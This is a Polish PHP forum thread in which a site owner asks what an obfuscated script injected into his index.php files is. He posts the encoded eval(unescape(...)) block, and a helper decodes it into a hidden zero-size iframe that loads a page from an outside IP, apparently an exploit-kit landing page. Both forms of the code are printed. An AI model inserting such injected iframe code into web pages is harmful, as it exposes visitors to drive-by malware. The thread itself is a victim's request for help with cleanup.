Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Co to za kod?, Prosze o pomoc.
id4
post 1.10.2007, 14:10:14
Post #1





Grupa: Zarejestrowani
Postów: 223
Pomógł: 1
Dołączył: --
Skąd: Rogożnik /K-ce/

Ostrzeżenie: (0%)
-----


Witam

Od kilku dni do moich plików na serwerze (index.php) przykleja się automatycznie poniższy kod JS. Nie jest to jednak przyklejenie na końcu pliku (jak robia np. statystyki), tylko niszczą część pliku i w to miejsce się wklejają. Bardzo proszę o pomoc w odszyfrowaniu tego małego czegoś.

  1. <script type="text/javascript" language="JavaScript"> eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72
  2. %69%74%65%28%22%3C%69%66%72%61%6D%65%20%73%72%63%3D%5C%22%68%74%74%70%3A%2F%2F
  3. %38%31%2E%39%35%2E%31%35%30%2E%38%32%2F%6D%70%61%63%6B%2F%69%6E%64%65%78%2E%70%68
  4. %70%5C%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65
  5. %3D%5C%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%5C%22%3E%3C%2F%69%66%72%61%6D%65
  6. %3E%22%29%3B%0D%0A%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%3D%22%20%22%3B"));</script>


Ten post edytował id4 1.10.2007, 14:14:38
Go to the top of the page
+Quote Post
dr_bonzo
post 1.10.2007, 14:14:28
Post #2





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


Kod
document.write("<iframe src=\"http://81.95.150.82/mpack/index.php\" width=0 height=0 style=\"display:none\"></iframe>");
window.status=" ";


^^ jak sie poprawi spacje w twoim kodzie

Ten post edytował dr_bonzo 1.10.2007, 14:15:18


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
id4
post 1.10.2007, 14:20:06
Post #3





Grupa: Zarejestrowani
Postów: 223
Pomógł: 1
Dołączył: --
Skąd: Rogożnik /K-ce/

Ostrzeżenie: (0%)
-----


Wielkie dzięki - już wiem przynajmniej co to jest.
A czy spotkał się ktoś z czymś takim?
Czy jest to jakiś virus, czy to serwer takie glupoty robi?
Sajty mam na Nazwa.pl, więc raczej sprawdzony provider.
Go to the top of the page
+Quote Post
dr_bonzo
post 1.10.2007, 14:51:37
Post #4





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


zajrzyj do kodu tej strony z iframe, za pierwszym razem pokazalo "OK" czy cos, potem "your IP is blocked".

On po prostu w miejscu wklejenia wrzuca jakis text, a co robi po stronie php to nie wiem.


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
ARJ
post 1.10.2007, 18:09:48
Post #5





Grupa: Zarejestrowani
Postów: 453
Pomógł: 22
Dołączył: 20.09.2004
Skąd: Kraków - NH -

Ostrzeżenie: (0%)
-----


w googlach można znaleźć informację o tym:
- http://forum.php.pl/index.php?showtopic=72...mp;#entry377224
- http://www.siteadvisor.com/sites/81.95.150.82/summary/

ogólnie wpisz sobie w google ip: 81.95.150.82 i zobaczysz, że ludzie mają z tym problem. może gdzieś znajdziesz odpowiedź.


--------------------
Warsztat: Windows 7 Pro 64bit | Apache 2.2 | PHP 5.2 | MySQL 5.0 | PHPmyadmin 2.6.4
Go to the top of the page
+Quote Post
id4
post 1.10.2007, 20:36:19
Post #6





Grupa: Zarejestrowani
Postów: 223
Pomógł: 1
Dołączył: --
Skąd: Rogożnik /K-ce/

Ostrzeżenie: (0%)
-----


Dzięki za pomoc.
A wie ktoś może jak się tego pozbyć i skąd to się wzięło?
Gdzie to jest fizycznie - na serwerze czy na dysku lokalnym?
Jak z tym się walczy?
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 6.07.2025 - 23:39